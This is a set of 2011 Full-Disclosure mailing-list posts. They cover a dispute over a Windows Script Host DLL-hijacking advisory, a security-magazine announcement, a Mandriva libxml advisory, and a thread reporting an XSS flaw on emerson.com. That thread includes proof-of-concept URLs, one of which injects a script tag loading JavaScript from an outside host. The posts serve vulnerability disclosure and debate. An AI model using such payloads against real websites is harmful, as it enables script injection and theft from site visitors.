Re: [Full-disclosure] Cybsec Advisory 2011 0901 Windows Script Host DLL Hijacking

2011-09-05 Thread Mario Vilas
On Mon, Sep 5, 2011 at 7:45 PM, root  wrote:

> Off-topic:
>
> First Insect PRO, and now this?
> What's happening fellow Latin-americans? our standards are falling.
> Please behave, this is the Internet!
>

[image: The_Internet_is_Serious_Business - Low.jpg]


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of the state, the other serves and protects the people. When the military
becomes both, then the enemies of the state tend to become the people.”
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Re: [Full-disclosure] Cybsec Advisory 2011 0901 Windows Script Host DLL Hijacking

2011-09-05 Thread Thor (Hammer of God)
Excellent points - one slight addition, though:

>In fact, the Windows Script Host software is mostly used to write system 
>maintenance scripts, 
>so it's obvious its scripts can't be restricted or they'd be useless.

Scripts can certainly be restricted based on the account context they are 
executed under.   There is actually plenty one can do with "normal user" 
scripts, but as you've pointed out, many of the options admins require scripts 
for need escalated privileges.   This is obviously be design, and it helps to 
keep admins aware of best practices when choosing to deploy solutions via 
scripting.  There are, of course, many many other ways once can accomplish 
system maintenance in a more secure way such as WMI, PS (which can require 
signed scripts) and of course GPO and/or any other number of solutions.  

I thought it important to outline that since, in my experience with "real" 
admins, WSH is actually *not* used mostly for system maintenance per se, but 
for standard automation.   Using scripts to perform actual administrative 
tasks/maintenance is just a bad idea to begin with.  

t


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Re: [Full-disclosure] Cybsec Advisory 2011 0901 Windows Script Host DLL Hijacking

2011-09-05 Thread root
I agree, in some remote scenario this may work, but doesn't justify an
advisory.

Off-topic:

First Insect PRO, and now this?
What's happening fellow Latin-americans? our standards are falling.
Please behave, this is the Internet!





On 09/05/2011 07:33 AM, Mario Vilas wrote:
> Paul,
> 
> Those file extensions correspond to scripts. If a file contains a script
> that runs when the file is double clicked, and the scripting engine is not
> sandboxed (meaning the script can do the same things an executable file can
> do) then the attack is meaningless. You can simply have the script inside
> the file do malicious things instead of planting a DLL.
> 
> Binary planting, regardless of the discussion about it being a
> "vulnerability" or not, in any case only makes sense when the file only
> contains static data, or when the file contains executable code that would
> normally not have the same privileges as a standard executable file. (A
> script that doesn't get executed when double clicking on it -for example if
> a text editor is opened instead- would be the same case as in a data file).
> 
> I've never used .js or .jse scripts on Windows, but all the other extensions
> are patently not sandboxed scripts. In fact, the Windows Script Host
> software is mostly used to write system maintenance scripts, so it's obvious
> its scripts can't be restricted or they'd be useless. I'm guessing the same
> applies to .js and .jse then, and of course I wouldn't mind seeing proof
> that it doesn't. However the links you provided don't really prove anything
> (the first one even says "this is not a complete list", and I admit I've
> only glanced the second one but it seems unrelated, as it applies to file
> transfers on Microsoft Sharepoint).
> 
> Planting a DLL file to be executed at the same time as other executable file
> is just a convoluted way of doing the same thing. It *may* be used in some
> strange, artificial situations, but I'm not convinced there aren't better
> ways to do it, and in any case it doesn't justify an advisory. And judging
> from what the timeline reads, I believe Microsoft simply ignored this one.
> 
> I hope my explanation helped :)
> -Mario
> 
> On Mon, Sep 5, 2011 at 12:54 AM,  wrote:
> 
>>> Application: wscript.exe
>>> Extensions: js, jse, vbe, vbs, wsf, wsh
>>> Library: wshesn.dll
>>
>> Many people commented that the above extensions are "executable"
>> already, so are (should be) treated with caution, or that they
>> can be trojaned directly without any DLL load shenanigans.
>>
>> However... looking at
>> http://technet.microsoft.com/en-us/library/cc288335%28office.12%29.aspx
>>
>> http://office.microsoft.com/en-us/windows-sharepoint-services-help/types-of-files-that-cannot-be-added-to-a-list-or-library-HA010100147.aspx
>> I do not see JS listed as executable, though JSE is listed.
>>
>> Looking at
>> http://msdn.microsoft.com/en-us/library/ms722429.aspx
>> I see JS (but not JSE) listed. Checking secpol.msc on my WindowsXP
>> machine, none of the above extensions are "designated".
>>
>> Maybe DLL hijacking is useful for some of these file types, after all?
>>
>> Cheers, Paul
>>
>> Paul Szabo   p...@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
>> School of Mathematics and Statistics   University of SydneyAustralia
>>
>> ___
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
> 
> 
> 
> 
> 
> ___
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Re: [Full-disclosure] Cybsec Advisory 2011 0901 Windows Script Host DLL Hijacking

2011-09-05 Thread Georgi Guninski
lol, the japanese ddosed their children and the official version is they tried 
to entertain them.

the official version appears as fuzzing while not knowing doing so.

-- 
joro

On Sun, Sep 04, 2011 at 05:34:00PM +, Thor (Hammer of God) wrote:
> Something like Pokemon malware would be awesome:
> 
> http://faculty.washington.edu/chudler/pokemon.html
> 
> t
> 
> 
> -Original Message-
> From: Georgi Guninski [mailto:gunin...@guninski.com] 
> Sent: Sunday, September 04, 2011 9:20 AM
> To: valdis.kletni...@vt.edu
> Cc: Thor (Hammer of God); full-disclosure@lists.grok.org.uk
> Subject: Re: [Full-disclosure] Cybsec Advisory 2011 0901 Windows Script Host 
> DLL Hijacking
> 
> On Fri, Sep 02, 2011 at 05:46:15PM -0400, valdis.kletni...@vt.edu wrote:
> > 
> > Prediction 1: 10 years from now, organized crime will be hiring 
> > cognitive psychologists to help design more effective phish the way 
> > they currently hire programmers to write better spambots.
> >
> wouldn't it be more profitable to develop a brain exploit (like what news 
> write)?
> 
> human brain doesn't seem suited enough for rooted computer output.
> 
> to my knowledge 25th frame is banned in TV.
> 
> if someone *releases* (partial) hypnosis malware this might be profitable and 
> change the meaning of "botnet".
> 
> --
> joro

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[Full-disclosure] [Announcement] ClubHack Mag Issue 20- September 2011 Released

2011-09-05 Thread Abhijeet Patil
Hello Readers, here we are with issue20 of ClubHack Mag for the month of
September 2011. This time the theme is Malwares.

This issue covers following articles:-

0x00 Tech Gyan - Rootkits are Back with the Boot Infection
0x01 Tool Gyan - Tools for Reverse Engineering and Malware Analysis
0x02 Mom's Guide - Introduction to Malware & Malware Analysis
0x03 Legal Gyan - Law relating to Cyber Pornography in India
0x04 Matriux Vibhag - Ostinato - Wireshark in Reverse
0x05 Poster of the Month - Angry Malwares

Check http://chmag.in for articles.
PDF version can be download from:- http://chmag.in/issue/sep2011.pdf

Hope you'll enjoy the magazine. Please send your suggestions, feedback to
i...@chmag.in

Regards,
Abhijeet Patil,
Co-Founder, ClubHack Mag
URL: http://chmag.in
 http://clubhack.com
Cell: +91-9923800379
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Re: [Full-disclosure] XSS Vulnerability in www.emerson.com

2011-09-05 Thread Valdis . Kletnieks
On Mon, 05 Sep 2011 09:46:23 EDT, "Mr. Hinky Dink" said:

> I'm guessing you're a contractor for that particular company because,
> after all, no one knows the URL.

Google is a subcontractor for them? :)

(It's *amazing* how many sites rely on "nobody knows the URL", but the
URL in question is known to Google ;)


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Description: PGP signature
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Re: [Full-disclosure] XSS Vulnerability in www.emerson.com

2011-09-05 Thread Madhur Ahuja
The URL is publically visible in address bar if you open the site on Chrome.
Not sure how are you categorizing it as "no one knows the url"

Try the "Email this Article" link on the page below:

http://www.emerson.com/en-US/newsroom/news-releases/emerson-financial-news/Pages/Emerson-to-Sell-Heating-Products-Business.aspx

Madhur

On Monday, September 5, 2011, Mr. Hinky Dink wrote:

>
> That... ahem... particular company has had that particular page
> (/MCS/email.apsx) in one form or another for a long time, since the late
> 90s at least, when it was a cgi app.
>
> IIRC, at one time you could SPAM anyone through it, but they learned
> their lesson and now you can only SPAM the company's employees.
> Considering the business they're in (think "SCADA" related) this could
> be a Bad Thing.  The XSS is just the icing on the cake.
>
> I find it interesting that they "upgraded" it to SharePoint.
>
> It's an in-house app, one of several.  I believe the security model used
> to be "no one knows the URL".
>
> I'm guessing you're a contractor for that particular company because,
> after all, no one knows the URL.
>
> On Mon, 2011-09-05 at 02:00 +0530, Madhur Ahuja wrote:
> > One of the pages in Emerson site are rendering the query string
> > parameter without any inspection. This makes it possible to inject
> > malicious content as shown below:
> >
> >
> >
> > http://www.emerson.com/_layouts/MCS/Email.aspx?Title=%3Cimg%
> > 20src='
> http://www.emerson.com/SiteCollectionImages/local/united-states/english/fastpath/INBDB%2020110225.jpg'%3E
> >
> >
> >
> >
> >
> >
> > http://www.emerson.com/_layouts/MCS/Email.aspx?Title=%3Cscript%20src=%
> > 22http://madhur.github.com/files/js/site.js%22%20type=%
> > 22text/javascript%22%3E
> >
> >
> > --
> > Madhur
> > ___
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
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>
>
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Re: [Full-disclosure] XSS Vulnerability in www.emerson.com

2011-09-05 Thread Mr. Hinky Dink

That... ahem... particular company has had that particular page
(/MCS/email.apsx) in one form or another for a long time, since the late
90s at least, when it was a cgi app.  

IIRC, at one time you could SPAM anyone through it, but they learned
their lesson and now you can only SPAM the company's employees.
Considering the business they're in (think "SCADA" related) this could
be a Bad Thing.  The XSS is just the icing on the cake.

I find it interesting that they "upgraded" it to SharePoint.

It's an in-house app, one of several.  I believe the security model used
to be "no one knows the URL".  

I'm guessing you're a contractor for that particular company because,
after all, no one knows the URL.

On Mon, 2011-09-05 at 02:00 +0530, Madhur Ahuja wrote:
> One of the pages in Emerson site are rendering the query string
> parameter without any inspection. This makes it possible to inject
> malicious content as shown below:
> 
> 
> 
> http://www.emerson.com/_layouts/MCS/Email.aspx?Title=%3Cimg%
> 20src='http://www.emerson.com/SiteCollectionImages/local/united-states/english/fastpath/INBDB%2020110225.jpg'%3E
> 
> 
> 
> 
> 
> 
> http://www.emerson.com/_layouts/MCS/Email.aspx?Title=%3Cscript%20src=%
> 22http://madhur.github.com/files/js/site.js%22%20type=%
> 22text/javascript%22%3E
> 
> 
> --
> Madhur
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[Full-disclosure] [ MDVSA-2011:131 ] libxml

2011-09-05 Thread security
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

 ___

 Mandriva Linux Security Advisory MDVSA-2011:131
 http://www.mandriva.com/security/
 ___

 Package : libxml
 Date: September 5, 2011
 Affected: 2009.0, 2010.1, Corporate 4.0, Enterprise Server 5.0
 ___

 Problem Description:

 Multiple vulnerabilities has been discovered and corrected in
 libxml/libxml2:
 
 Integer overflow in xpath.c in libxml2 2.6.x through 2.6.32 and 2.7.x
 through 2.7.8, and libxml 1.8.16 and earlier, allows context-dependent
 attackers to cause a denial of service (crash) and possibly execute
 arbitrary code via a crafted XML file that triggers a heap-based
 buffer overflow when adding a new namespace node, related to handling
 of XPath expressions (CVE-2011-1944).
 
 Packages for 2009.0 are provided as of the Extended Maintenance
 Program. Please visit this link to learn more:
 http://store.mandriva.com/product_info.php?cPath=149&products_id=490
 
 The updated packages have been patched to correct this issue.
 ___

 References:

 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1944
 ___

 Updated Packages:

 Mandriva Linux 2009.0:
 91a56eed57c4c5334b06dfa08cbc71c3  
2009.0/i586/libxml1-1.8.17-14.2mdv2009.0.i586.rpm
 4b302ddcc4ec729431381b55b2a7f0f5  
2009.0/i586/libxml1-devel-1.8.17-14.2mdv2009.0.i586.rpm
 07da42454f8b366c4eaad9c3454c0169  
2009.0/i586/libxml2_2-2.7.1-1.7mdv2009.0.i586.rpm
 2f1a7997a3b3d990beb1920958c5e653  
2009.0/i586/libxml2-devel-2.7.1-1.7mdv2009.0.i586.rpm
 088b45969e6ed600061f1443d66b8e03  
2009.0/i586/libxml2-python-2.7.1-1.7mdv2009.0.i586.rpm
 4388c61a1fd0e29253788b5b0ed50b9f  
2009.0/i586/libxml2-utils-2.7.1-1.7mdv2009.0.i586.rpm 
 0832d7b58dff4e3bebe76f32e0c7ce99  
2009.0/SRPMS/libxml-1.8.17-14.2mdv2009.0.src.rpm
 06353372b3a8416494b67dd4ee0f1124  
2009.0/SRPMS/libxml2-2.7.1-1.7mdv2009.0.src.rpm

 Mandriva Linux 2009.0/X86_64:
 a671a890dcfe6acb098b0ef93b3a7277  
2009.0/x86_64/lib64xml1-1.8.17-14.2mdv2009.0.x86_64.rpm
 8bcf9273a93a4d2d8092b128a3ba9b6b  
2009.0/x86_64/lib64xml1-devel-1.8.17-14.2mdv2009.0.x86_64.rpm
 ca24cc56951cdaad1e91e49aab41b1e0  
2009.0/x86_64/lib64xml2_2-2.7.1-1.7mdv2009.0.x86_64.rpm
 cef2fec84782932f31a33e5ea03296d5  
2009.0/x86_64/lib64xml2-devel-2.7.1-1.7mdv2009.0.x86_64.rpm
 9d9982274c97538eaea39f84a2e59348  
2009.0/x86_64/libxml2-python-2.7.1-1.7mdv2009.0.x86_64.rpm
 52af9613cb44df27be47c9ed836f1a62  
2009.0/x86_64/libxml2-utils-2.7.1-1.7mdv2009.0.x86_64.rpm 
 0832d7b58dff4e3bebe76f32e0c7ce99  
2009.0/SRPMS/libxml-1.8.17-14.2mdv2009.0.src.rpm
 06353372b3a8416494b67dd4ee0f1124  
2009.0/SRPMS/libxml2-2.7.1-1.7mdv2009.0.src.rpm

 Mandriva Linux 2010.1:
 fe18b539e7c96fd88579e468b61a998d  
2010.1/i586/libxml1-1.8.17-16.1mdv2010.2.i586.rpm
 613776b0f23dc278ac80a5f55a4895c4  
2010.1/i586/libxml1-devel-1.8.17-16.1mdv2010.2.i586.rpm
 48a053d4bd69449ad6b946e8c944b6db  
2010.1/i586/libxml2_2-2.7.7-1.3mdv2010.2.i586.rpm
 2642e7a2bd1f5173581808b8639ce843  
2010.1/i586/libxml2-devel-2.7.7-1.3mdv2010.2.i586.rpm
 8c438c598bee68ff0014e1d7bb0e2025  
2010.1/i586/libxml2-python-2.7.7-1.3mdv2010.2.i586.rpm
 4b886076f75ff7e935fff0c0857fad50  
2010.1/i586/libxml2-utils-2.7.7-1.3mdv2010.2.i586.rpm 
 1cd36384a94985bf4d162dc3c9600f07  
2010.1/SRPMS/libxml-1.8.17-16.1mdv2010.2.src.rpm
 2667d2e2762160cc57742fec24ecb9fe  
2010.1/SRPMS/libxml2-2.7.7-1.3mdv2010.2.src.rpm

 Mandriva Linux 2010.1/X86_64:
 5ea2dfe12abf2f3eb7bee79de1ebeeca  
2010.1/x86_64/lib64xml1-1.8.17-16.1mdv2010.2.x86_64.rpm
 17b07159ee11d98a4960f51d798c85f7  
2010.1/x86_64/lib64xml1-devel-1.8.17-16.1mdv2010.2.x86_64.rpm
 0bb5a486250b26e842eba791d950037b  
2010.1/x86_64/lib64xml2_2-2.7.7-1.3mdv2010.2.x86_64.rpm
 ca633e675ae7e47374cf08a4317b2a6e  
2010.1/x86_64/lib64xml2-devel-2.7.7-1.3mdv2010.2.x86_64.rpm
 f86f1c06557db0dc16e9c91e3948f1b3  
2010.1/x86_64/libxml2-python-2.7.7-1.3mdv2010.2.x86_64.rpm
 7643a6230845023113e69a8f8b6823e9  
2010.1/x86_64/libxml2-utils-2.7.7-1.3mdv2010.2.x86_64.rpm 
 1cd36384a94985bf4d162dc3c9600f07  
2010.1/SRPMS/libxml-1.8.17-16.1mdv2010.2.src.rpm
 2667d2e2762160cc57742fec24ecb9fe  
2010.1/SRPMS/libxml2-2.7.7-1.3mdv2010.2.src.rpm

 Corporate 4.0:
 402c97c08d9bf2ba42d0504a8ff33005  
corporate/4.0/i586/libxml1-1.8.17-8.2.20060mlcs4.i586.rpm
 985da139b830931af9722d0c5d312294  
corporate/4.0/i586/libxml1-devel-1.8.17-8.2.20060mlcs4.i586.rpm
 43cec07af16e82483b6427b1b3b4332d  
corporate/4.0/i586/libxml2-2.6.21-3.8.20060mlcs4.i586.rpm
 d57401514fed3d02a97c6e1f8de9c2ed  
corporate/4.0/i586/libxml2-devel-2.6.21-3.8.20060mlcs4.i586.rpm
 62dc3d0c18468831cabb88f0df1ea876  
corporate/4.0/i586/libxml2-python-2.6.21-3.8.20060mlcs4.i586.rpm
 9d13363c56340d67f1296

Re: [Full-disclosure] Cybsec Advisory 2011 0901 Windows Script Host DLL Hijacking

2011-09-05 Thread Mario Vilas
Paul,

Those file extensions correspond to scripts. If a file contains a script
that runs when the file is double clicked, and the scripting engine is not
sandboxed (meaning the script can do the same things an executable file can
do) then the attack is meaningless. You can simply have the script inside
the file do malicious things instead of planting a DLL.

Binary planting, regardless of the discussion about it being a
"vulnerability" or not, in any case only makes sense when the file only
contains static data, or when the file contains executable code that would
normally not have the same privileges as a standard executable file. (A
script that doesn't get executed when double clicking on it -for example if
a text editor is opened instead- would be the same case as in a data file).

I've never used .js or .jse scripts on Windows, but all the other extensions
are patently not sandboxed scripts. In fact, the Windows Script Host
software is mostly used to write system maintenance scripts, so it's obvious
its scripts can't be restricted or they'd be useless. I'm guessing the same
applies to .js and .jse then, and of course I wouldn't mind seeing proof
that it doesn't. However the links you provided don't really prove anything
(the first one even says "this is not a complete list", and I admit I've
only glanced the second one but it seems unrelated, as it applies to file
transfers on Microsoft Sharepoint).

Planting a DLL file to be executed at the same time as other executable file
is just a convoluted way of doing the same thing. It *may* be used in some
strange, artificial situations, but I'm not convinced there aren't better
ways to do it, and in any case it doesn't justify an advisory. And judging
from what the timeline reads, I believe Microsoft simply ignored this one.

I hope my explanation helped :)
-Mario

On Mon, Sep 5, 2011 at 12:54 AM,  wrote:

> > Application: wscript.exe
> > Extensions: js, jse, vbe, vbs, wsf, wsh
> > Library: wshesn.dll
>
> Many people commented that the above extensions are "executable"
> already, so are (should be) treated with caution, or that they
> can be trojaned directly without any DLL load shenanigans.
>
> However... looking at
> http://technet.microsoft.com/en-us/library/cc288335%28office.12%29.aspx
>
> http://office.microsoft.com/en-us/windows-sharepoint-services-help/types-of-files-that-cannot-be-added-to-a-list-or-library-HA010100147.aspx
> I do not see JS listed as executable, though JSE is listed.
>
> Looking at
> http://msdn.microsoft.com/en-us/library/ms722429.aspx
> I see JS (but not JSE) listed. Checking secpol.msc on my WindowsXP
> machine, none of the above extensions are "designated".
>
> Maybe DLL hijacking is useful for some of these file types, after all?
>
> Cheers, Paul
>
> Paul Szabo   p...@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
> School of Mathematics and Statistics   University of SydneyAustralia
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>



-- 
“There's a reason we separate military and the police: one fights the enemy
of the state, the other serves and protects the people. When the military
becomes both, then the enemies of the state tend to become the people.”
___
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